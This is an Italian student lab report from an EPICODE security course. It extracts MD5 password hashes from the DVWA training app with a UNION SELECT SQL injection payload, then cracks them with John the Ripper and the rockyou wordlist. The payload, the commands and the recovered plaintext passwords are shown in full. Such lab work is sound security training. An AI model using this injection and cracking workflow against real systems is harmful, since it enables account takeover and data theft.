

28 FEBBRAIO 2024

REPORT - EPICODE

S6L3

PRESENTED BY

Alessandro Marasca



PASSWORD CRACKING

Traccia

Se guardiamo meglio le password, della lezione precedente, non hanno l'aspetto di password in chiaro, ma sembrano più hash di password MD5. Recuperate le password dal DB e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro.

Sentitevi liberi di utilizzare qualsiasi dei tool visti nella lezione teorica.

L'obiettivo dell'esercizio di oggi è craccare tutte le password.

SQL INJECTION

Actions

Force

Command Execution

Conclusion

Injection

Injection (Blind)

Id

Reflected

Stored

Web Security

Info

Tools

Out

Vulnerability: SQL Injection

User ID:

Submit

ID: ' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Andiamo ad inserire il sql injection per ricavare le password criptate.

Come vediamo la prima e l'ultima coincidono.

```

1 5f4dcc3b5aa765d61d8327deb882cf99
2 e99a18c428cb38d5f260853678922e03
3 8d3533d75ae2c3966d7e0d4fcc69216b
4 0d107d09f5bbe40cade3de5c71e9e9b7
5 5f4dcc3b5aa765d61d8327deb882cf99
6 |

```

Salviamo le encrypted pwd in un file di testo.

```

root@kali: /home/kali/Desktop
File Actions Edit View Help
# john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 ./hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password (??)
abc123 (??)
letmein (??)
charley (??)
4g 0:00:00:00 DONE (2024-02-28 08:57) 66.66g/s 48000p/s 48000c/s 64000C/s my
3kids..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked pass
words reliably
Session completed.

root@kali: /home/kali/Desktop
#

```

Dopo aver unzippato il rockyou (file di testo che contiene le chiavi di lettura come la md5) diamo il relativo comando di **john** per svelare le pwd.

```

root@kali: /home/kali/Desktop
# john --show --format=raw-md5 ./hash.txt
?:password
?:abc123
?:charley
?:letmein
?:password

5 password hashes cracked, 0 left

```

Infine col comando riportato nello screenshot osserviamo tutte le password inizialmente criptate, ora chiaramente leggibili.



Alessandro Marasca

Epicode

S6L3- CS0124

28 FEBBRAIO 2024